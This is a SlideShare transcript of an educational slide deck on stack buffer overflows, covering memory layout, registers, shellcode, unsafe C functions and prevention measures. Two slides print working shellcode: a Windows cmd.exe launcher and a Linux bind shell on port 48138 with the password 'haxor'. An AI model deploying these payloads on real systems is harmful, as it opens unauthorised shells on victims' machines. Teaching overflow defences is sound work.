SlideShare a Scribd company logo
1 of 17
          Buffer Overflows  by: Saurabh Sharma
			   BUFFER
Buffer: The memory area where the user input is stored. Overflow: The user input exceeds the maximum size of the buffer, overwriting the other areas of the memory and corrupting those areas. Anatomy of Buffer Overflows
void get_input() {     char buf[1024];     gets(buf); } void main(intargc, char*argv[]){ get_input(); } User controls the input. Malicious user can supply the input of more than 500 chars. So what ?? User can supply a malicious input which can execute some  other exe. This can also be your cmd.exe and may lead to the system compromise. A small example
Text: Contains instructions Data: Contains initialized variables BSS: Contains uninitialized global and static variables(initialized to 0) Heap: Contains dynamic, uninitialized data(malloc()) Stack: Contains function arguments and local variables Memory overview
Stack Frame:holds variables and data for function Stack grows from higher memory location to lower memory location Heap: lower to higher Memory overview
General purpose: For basic calculations. ESI, EDI: Used mostly with arrays Flags: Outcome of several instructions set the flags Segment: Code, stack, data. EBP:Base pointer, points to the beginning of the current stack frame ESP: Stack pointer, points to the top of the stack EIP: Instruction pointer, points to the next instruction REGISTERS
Stack is a LIFO data structure. Temporary memory, formed when the function called. A new stack frame created when the function is called. The return address is saved just above the local variables. Stack Layout Lower address parameters Return addr(saved EIP) Saved EBP Stack grows Local variables Higher address
So, if the EIP can be controlled, the next instruction to be executed can be controlled. Stack Layout Lower address parameters Return addr(saved EIP) Saved EBP Stack grows Local variables Higher address
Machine code which is injected into the overflown buffer Does the work for you WORK: executing a third program, adding an administrator etc. SHELLCODE
win32/xp sp2 (En) cmd.exe 23 bytes  Author : MountassifMoad A.K.A :  "8bec68657865" "2068636d642e" "8d45f850b88D" "15867Cffd0";  EXAMPLE SHELLCODES(SMALL)
BY NRAZIZ * * */ /* * Binds to port 48138 * Password: haxor */ char bindcode[]= "31db5343536a0289e1b066cd80" "31d2526668bc0a666a0289e26a" "10526a0389e1fec3b066cd806a" "026a0389e1b304b066cd8031c9" "51516a0389e1fec3b066cd8031" "db536a3a685061737389e66a05" "566a0489e1b309b066cd8031c9" "31f6516a05526a0489e1b30ab0" "66cd8031c9516a72686861786f" "89e789d680c105fcf3a675bf31" "c9b304b03fcd804183f90375f6" "31c050682f2f7368682f62696e" "89e3505389e131d2b00bcd80b0" "01cd80" EXAMPLE SHELLCODES(bigger)
DEMO
strcpy()  strcat()  sprintf()  scanf()  sscanf()  fscanf()  vfscanf()  vsprintf vscanf()  vsscanf()  streadd()  strecpy()  strtrns()  MAJOR SNARES
Buffer size must be checked Use alternative functions e.g. strncpy(dst, src, dst_size-1) instead of strcpy(dst, src) Other protection mechanisms like /GS(stack cookie), ASLR, SafeSEH compilation PREVENTION
http://www.cccure.org/amazon/idssignature.pdf http://www.shell-storm.org/papers/files/539.pdf http://c0re.23.nu/~chris/data/bo-2004.pdf http://www-inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf REFERENCES
                             ????????????????? QUESTIONS

More Related Content

What's hot

Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacksSandun Perera
 
Control hijacking
Control hijackingControl hijacking
Control hijackingG Prachi
 
Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacksJapneet Singh
 
08 - Return Oriented Programming, the chosen one
08 - Return Oriented Programming, the chosen one08 - Return Oriented Programming, the chosen one
08 - Return Oriented Programming, the chosen oneAlexandre Moneger
 
2.Format Strings
2.Format Strings2.Format Strings
2.Format Stringsphanleson
 
Buffer overflow explained
Buffer overflow explainedBuffer overflow explained
Buffer overflow explainedTeja Babu
 
How to find_vulnerability_in_software
How to find_vulnerability_in_softwareHow to find_vulnerability_in_software
How to find_vulnerability_in_softwaresanghwan ahn
 
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...sanghwan ahn
 
Possibility of arbitrary code execution by Step-Oriented Programming
Possibility of arbitrary code execution by Step-Oriented ProgrammingPossibility of arbitrary code execution by Step-Oriented Programming
Possibility of arbitrary code execution by Step-Oriented Programmingkozossakai
 
Buffer overflow attack
Buffer overflow attackBuffer overflow attack
Buffer overflow attackKrish
 
Course lecture - An introduction to the Return Oriented Programming
Course lecture - An introduction to the Return Oriented ProgrammingCourse lecture - An introduction to the Return Oriented Programming
Course lecture - An introduction to the Return Oriented ProgrammingJonathan Salwan
 
Linux Shellcode disassembling
Linux Shellcode disassemblingLinux Shellcode disassembling
Linux Shellcode disassemblingHarsh Daftary
 
Leak kernel pointer by exploiting uninitialized uses in Linux kernel
Leak kernel pointer by exploiting uninitialized uses in Linux kernelLeak kernel pointer by exploiting uninitialized uses in Linux kernel
Leak kernel pointer by exploiting uninitialized uses in Linux kernelJinbumPark
 
Penetration testing using python
Penetration testing using pythonPenetration testing using python
Penetration testing using pythonPurna Chander K
 
How Safe is your Link ?
How Safe is your Link ?How Safe is your Link ?
How Safe is your Link ?Peter Hlavaty
 
07 - Bypassing ASLR, or why X^W matters
07 - Bypassing ASLR, or why X^W matters07 - Bypassing ASLR, or why X^W matters
07 - Bypassing ASLR, or why X^W mattersAlexandre Moneger
 
Windows persistence presentation
Windows persistence presentationWindows persistence presentation
Windows persistence presentationOlehLevytskyi1
 

What's hot (20)

Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacks
 
Control hijacking
Control hijackingControl hijacking
Control hijacking
 
Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacks
 
08 - Return Oriented Programming, the chosen one
08 - Return Oriented Programming, the chosen one08 - Return Oriented Programming, the chosen one
08 - Return Oriented Programming, the chosen one
 
2.Format Strings
2.Format Strings2.Format Strings
2.Format Strings
 
Buffer overflow explained
Buffer overflow explainedBuffer overflow explained
Buffer overflow explained
 
How to find_vulnerability_in_software
How to find_vulnerability_in_softwareHow to find_vulnerability_in_software
How to find_vulnerability_in_software
 
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
 
Python build your security tools.pdf
Python build your security tools.pdfPython build your security tools.pdf
Python build your security tools.pdf
 
Possibility of arbitrary code execution by Step-Oriented Programming
Possibility of arbitrary code execution by Step-Oriented ProgrammingPossibility of arbitrary code execution by Step-Oriented Programming
Possibility of arbitrary code execution by Step-Oriented Programming
 
Os Cook
Os CookOs Cook
Os Cook
 
Buffer overflow attack
Buffer overflow attackBuffer overflow attack
Buffer overflow attack
 
Dynamic Binary Instrumentation
Dynamic Binary Instrumentation	Dynamic Binary Instrumentation
Dynamic Binary Instrumentation
 
Course lecture - An introduction to the Return Oriented Programming
Course lecture - An introduction to the Return Oriented ProgrammingCourse lecture - An introduction to the Return Oriented Programming
Course lecture - An introduction to the Return Oriented Programming
 
Linux Shellcode disassembling
Linux Shellcode disassemblingLinux Shellcode disassembling
Linux Shellcode disassembling
 
Leak kernel pointer by exploiting uninitialized uses in Linux kernel
Leak kernel pointer by exploiting uninitialized uses in Linux kernelLeak kernel pointer by exploiting uninitialized uses in Linux kernel
Leak kernel pointer by exploiting uninitialized uses in Linux kernel
 
Penetration testing using python
Penetration testing using pythonPenetration testing using python
Penetration testing using python
 
How Safe is your Link ?
How Safe is your Link ?How Safe is your Link ?
How Safe is your Link ?
 
07 - Bypassing ASLR, or why X^W matters
07 - Bypassing ASLR, or why X^W matters07 - Bypassing ASLR, or why X^W matters
07 - Bypassing ASLR, or why X^W matters
 
Windows persistence presentation
Windows persistence presentationWindows persistence presentation
Windows persistence presentation
 

Viewers also liked

Frequency Modulation In Data Transmission
Frequency Modulation In Data TransmissionFrequency Modulation In Data Transmission
Frequency Modulation In Data TransmissionBise Mond
 
seminar report on multiple access control protocol submitted by munesh
seminar report on multiple access control protocol submitted by munesh seminar report on multiple access control protocol submitted by munesh
seminar report on multiple access control protocol submitted by munesh meenamunesh
 
Encoding and Decoding
Encoding and DecodingEncoding and Decoding
Encoding and Decodingmrhaken
 
The Encoding
The EncodingThe Encoding
The EncodingJen W
 
Encoding/Decoding Stuart Hall
Encoding/Decoding Stuart HallEncoding/Decoding Stuart Hall
Encoding/Decoding Stuart HallNic JM
 
Chapter 4 frequency modulation
Chapter 4 frequency modulationChapter 4 frequency modulation
Chapter 4 frequency modulationHattori Sidek
 
Multiple access control protocol
Multiple access control protocol Multiple access control protocol
Multiple access control protocol meenamunesh
 

Viewers also liked (11)

Frequency Modulation In Data Transmission
Frequency Modulation In Data TransmissionFrequency Modulation In Data Transmission
Frequency Modulation In Data Transmission
 
Angle mod for stdnts 25 apr
Angle mod for stdnts  25 aprAngle mod for stdnts  25 apr
Angle mod for stdnts 25 apr
 
seminar report on multiple access control protocol submitted by munesh
seminar report on multiple access control protocol submitted by munesh seminar report on multiple access control protocol submitted by munesh
seminar report on multiple access control protocol submitted by munesh
 
Encoding and Decoding
Encoding and DecodingEncoding and Decoding
Encoding and Decoding
 
تاريخ اولى ثانوى 2014 جزء اول
تاريخ اولى ثانوى 2014  جزء اولتاريخ اولى ثانوى 2014  جزء اول
تاريخ اولى ثانوى 2014 جزء اول
 
The Encoding
The EncodingThe Encoding
The Encoding
 
Encoding/Decoding Stuart Hall
Encoding/Decoding Stuart HallEncoding/Decoding Stuart Hall
Encoding/Decoding Stuart Hall
 
Multiple access protocol
Multiple access protocolMultiple access protocol
Multiple access protocol
 
CSMA/CD
CSMA/CDCSMA/CD
CSMA/CD
 
Chapter 4 frequency modulation
Chapter 4 frequency modulationChapter 4 frequency modulation
Chapter 4 frequency modulation
 
Multiple access control protocol
Multiple access control protocol Multiple access control protocol
Multiple access control protocol
 

Similar to Buffer Overflow Demo by Saurabh Sharma

Low Level Exploits
Low Level ExploitsLow Level Exploits
Low Level Exploitshughpearse
 
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Vincenzo Iozzo
 
Dive into exploit development
Dive into exploit developmentDive into exploit development
Dive into exploit developmentPayampardaz
 
Buffer Overflows 101: Some Assembly Required
Buffer Overflows 101: Some Assembly RequiredBuffer Overflows 101: Some Assembly Required
Buffer Overflows 101: Some Assembly RequiredKory Kyzar
 
Buffer Overflow - Smashing the Stack
Buffer Overflow - Smashing the StackBuffer Overflow - Smashing the Stack
Buffer Overflow - Smashing the StackironSource
 
Smash the Stack: Writing a Buffer Overflow Exploit (Win32)
Smash the Stack: Writing a Buffer Overflow Exploit (Win32)Smash the Stack: Writing a Buffer Overflow Exploit (Win32)
Smash the Stack: Writing a Buffer Overflow Exploit (Win32)Elvin Gentiles
 
Buffer overflow tutorial
Buffer overflow tutorialBuffer overflow tutorial
Buffer overflow tutorialhughpearse
 
Exploit techniques - a quick review
Exploit techniques - a quick reviewExploit techniques - a quick review
Exploit techniques - a quick reviewCe.Se.N.A. Security
 
Buffer overflow – Smashing The Stack
Buffer overflow – Smashing The StackBuffer overflow – Smashing The Stack
Buffer overflow – Smashing The StackTomer Zait
 
Shellcode Disassembling - Reverse Engineering
Shellcode Disassembling - Reverse EngineeringShellcode Disassembling - Reverse Engineering
Shellcode Disassembling - Reverse EngineeringSumutiu Marius
 
Shellcoding in linux
Shellcoding in linuxShellcoding in linux
Shellcoding in linuxAjin Abraham
 

Similar to Buffer Overflow Demo by Saurabh Sharma (20)

Exploitation Crash Course
Exploitation Crash CourseExploitation Crash Course
Exploitation Crash Course
 
One Click Ownage
One Click OwnageOne Click Ownage
One Click Ownage
 
One Click Ownage
One Click OwnageOne Click Ownage
One Click Ownage
 
Low Level Exploits
Low Level ExploitsLow Level Exploits
Low Level Exploits
 
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
 
Dive into exploit development
Dive into exploit developmentDive into exploit development
Dive into exploit development
 
Buffer Overflows 101: Some Assembly Required
Buffer Overflows 101: Some Assembly RequiredBuffer Overflows 101: Some Assembly Required
Buffer Overflows 101: Some Assembly Required
 
Local Exploits
Local ExploitsLocal Exploits
Local Exploits
 
Buffer Overflow - Smashing the Stack
Buffer Overflow - Smashing the StackBuffer Overflow - Smashing the Stack
Buffer Overflow - Smashing the Stack
 
Buffer overflow attack
Buffer overflow attackBuffer overflow attack
Buffer overflow attack
 
Computer Science Homework Help
Computer Science Homework HelpComputer Science Homework Help
Computer Science Homework Help
 
Smash the Stack: Writing a Buffer Overflow Exploit (Win32)
Smash the Stack: Writing a Buffer Overflow Exploit (Win32)Smash the Stack: Writing a Buffer Overflow Exploit (Win32)
Smash the Stack: Writing a Buffer Overflow Exploit (Win32)
 
LINUX Device Drivers
LINUX Device DriversLINUX Device Drivers
LINUX Device Drivers
 
Buffer overflow tutorial
Buffer overflow tutorialBuffer overflow tutorial
Buffer overflow tutorial
 
Exploit techniques - a quick review
Exploit techniques - a quick reviewExploit techniques - a quick review
Exploit techniques - a quick review
 
Buffer overflow – Smashing The Stack
Buffer overflow – Smashing The StackBuffer overflow – Smashing The Stack
Buffer overflow – Smashing The Stack
 
The Stack and Buffer Overflows
The Stack and Buffer OverflowsThe Stack and Buffer Overflows
The Stack and Buffer Overflows
 
Shellcode Disassembling - Reverse Engineering
Shellcode Disassembling - Reverse EngineeringShellcode Disassembling - Reverse Engineering
Shellcode Disassembling - Reverse Engineering
 
Shellcoding in linux
Shellcoding in linuxShellcoding in linux
Shellcoding in linux
 
Cao 2012
Cao 2012Cao 2012
Cao 2012
 

More from n|u - The Open Security Community

Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...n|u - The Open Security Community
 

More from n|u - The Open Security Community (20)

Hardware security testing 101 (Null - Delhi Chapter)
Hardware security testing 101 (Null - Delhi Chapter)Hardware security testing 101 (Null - Delhi Chapter)
Hardware security testing 101 (Null - Delhi Chapter)
 
Osint primer
Osint primerOsint primer
Osint primer
 
SSRF exploit the trust relationship
SSRF exploit the trust relationshipSSRF exploit the trust relationship
SSRF exploit the trust relationship
 
Nmap basics
Nmap basicsNmap basics
Nmap basics
 
Metasploit primary
Metasploit primaryMetasploit primary
Metasploit primary
 
Api security-testing
Api security-testingApi security-testing
Api security-testing
 
Introduction to TLS 1.3
Introduction to TLS 1.3Introduction to TLS 1.3
Introduction to TLS 1.3
 
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
 
Talking About SSRF,CRLF
Talking About SSRF,CRLFTalking About SSRF,CRLF
Talking About SSRF,CRLF
 
Building active directory lab for red teaming
Building active directory lab for red teamingBuilding active directory lab for red teaming
Building active directory lab for red teaming
 
Owning a company through their logs
Owning a company through their logsOwning a company through their logs
Owning a company through their logs
 
Introduction to shodan
Introduction to shodanIntroduction to shodan
Introduction to shodan
 
Cloud security
Cloud security Cloud security
Cloud security
 
Detecting persistence in windows
Detecting persistence in windowsDetecting persistence in windows
Detecting persistence in windows
 
Frida - Objection Tool Usage
Frida - Objection Tool UsageFrida - Objection Tool Usage
Frida - Objection Tool Usage
 
OSQuery - Monitoring System Process
OSQuery - Monitoring System ProcessOSQuery - Monitoring System Process
OSQuery - Monitoring System Process
 
DevSecOps Jenkins Pipeline -Security
DevSecOps Jenkins Pipeline -SecurityDevSecOps Jenkins Pipeline -Security
DevSecOps Jenkins Pipeline -Security
 
Extensible markup language attacks
Extensible markup language attacksExtensible markup language attacks
Extensible markup language attacks
 
Linux for hackers
Linux for hackersLinux for hackers
Linux for hackers
 
Android Pentesting
Android PentestingAndroid Pentesting
Android Pentesting
 

Recently uploaded

Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FMESafe Software
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...apidays
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyKhushali Kathiriya
 
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...apidays
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Angeliki Cooney
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...apidays
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsNanddeep Nachan
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century educationjfdjdjcjdnsjd
 
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Victor Rentea
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAndrey Devyatkin
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Jeffrey Haguewood
 
Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Zilliz
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...Zilliz
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistandanishmna97
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoffsammart93
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherRemote DBA Services
 
Platformless Horizons for Digital Adaptability
Platformless Horizons for Digital AdaptabilityPlatformless Horizons for Digital Adaptability
Platformless Horizons for Digital AdaptabilityWSO2
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...DianaGray10
 

Recently uploaded (20)

Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectors
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistan
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Platformless Horizons for Digital Adaptability
Platformless Horizons for Digital AdaptabilityPlatformless Horizons for Digital Adaptability
Platformless Horizons for Digital Adaptability
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 

Buffer Overflow Demo by Saurabh Sharma

  • 1. Buffer Overflows by: Saurabh Sharma
  • 2. BUFFER
  • 3. Buffer: The memory area where the user input is stored. Overflow: The user input exceeds the maximum size of the buffer, overwriting the other areas of the memory and corrupting those areas. Anatomy of Buffer Overflows
  • 4. void get_input() { char buf[1024]; gets(buf); } void main(intargc, char*argv[]){ get_input(); } User controls the input. Malicious user can supply the input of more than 500 chars. So what ?? User can supply a malicious input which can execute some other exe. This can also be your cmd.exe and may lead to the system compromise. A small example
  • 5. Text: Contains instructions Data: Contains initialized variables BSS: Contains uninitialized global and static variables(initialized to 0) Heap: Contains dynamic, uninitialized data(malloc()) Stack: Contains function arguments and local variables Memory overview
  • 6. Stack Frame:holds variables and data for function Stack grows from higher memory location to lower memory location Heap: lower to higher Memory overview
  • 7. General purpose: For basic calculations. ESI, EDI: Used mostly with arrays Flags: Outcome of several instructions set the flags Segment: Code, stack, data. EBP:Base pointer, points to the beginning of the current stack frame ESP: Stack pointer, points to the top of the stack EIP: Instruction pointer, points to the next instruction REGISTERS
  • 8. Stack is a LIFO data structure. Temporary memory, formed when the function called. A new stack frame created when the function is called. The return address is saved just above the local variables. Stack Layout Lower address parameters Return addr(saved EIP) Saved EBP Stack grows Local variables Higher address
  • 9. So, if the EIP can be controlled, the next instruction to be executed can be controlled. Stack Layout Lower address parameters Return addr(saved EIP) Saved EBP Stack grows Local variables Higher address
  • 10. Machine code which is injected into the overflown buffer Does the work for you WORK: executing a third program, adding an administrator etc. SHELLCODE
  • 11. win32/xp sp2 (En) cmd.exe 23 bytes Author : MountassifMoad A.K.A : "8bec68657865" "2068636d642e" "8d45f850b88D" "15867Cffd0"; EXAMPLE SHELLCODES(SMALL)
  • 12. BY NRAZIZ * * */ /* * Binds to port 48138 * Password: haxor */ char bindcode[]= "31db5343536a0289e1b066cd80" "31d2526668bc0a666a0289e26a" "10526a0389e1fec3b066cd806a" "026a0389e1b304b066cd8031c9" "51516a0389e1fec3b066cd8031" "db536a3a685061737389e66a05" "566a0489e1b309b066cd8031c9" "31f6516a05526a0489e1b30ab0" "66cd8031c9516a72686861786f" "89e789d680c105fcf3a675bf31" "c9b304b03fcd804183f90375f6" "31c050682f2f7368682f62696e" "89e3505389e131d2b00bcd80b0" "01cd80" EXAMPLE SHELLCODES(bigger)
  • 13. DEMO
  • 14. strcpy() strcat() sprintf() scanf() sscanf() fscanf() vfscanf() vsprintf vscanf() vsscanf() streadd() strecpy() strtrns() MAJOR SNARES
  • 15. Buffer size must be checked Use alternative functions e.g. strncpy(dst, src, dst_size-1) instead of strcpy(dst, src) Other protection mechanisms like /GS(stack cookie), ASLR, SafeSEH compilation PREVENTION
  • 17. ????????????????? QUESTIONS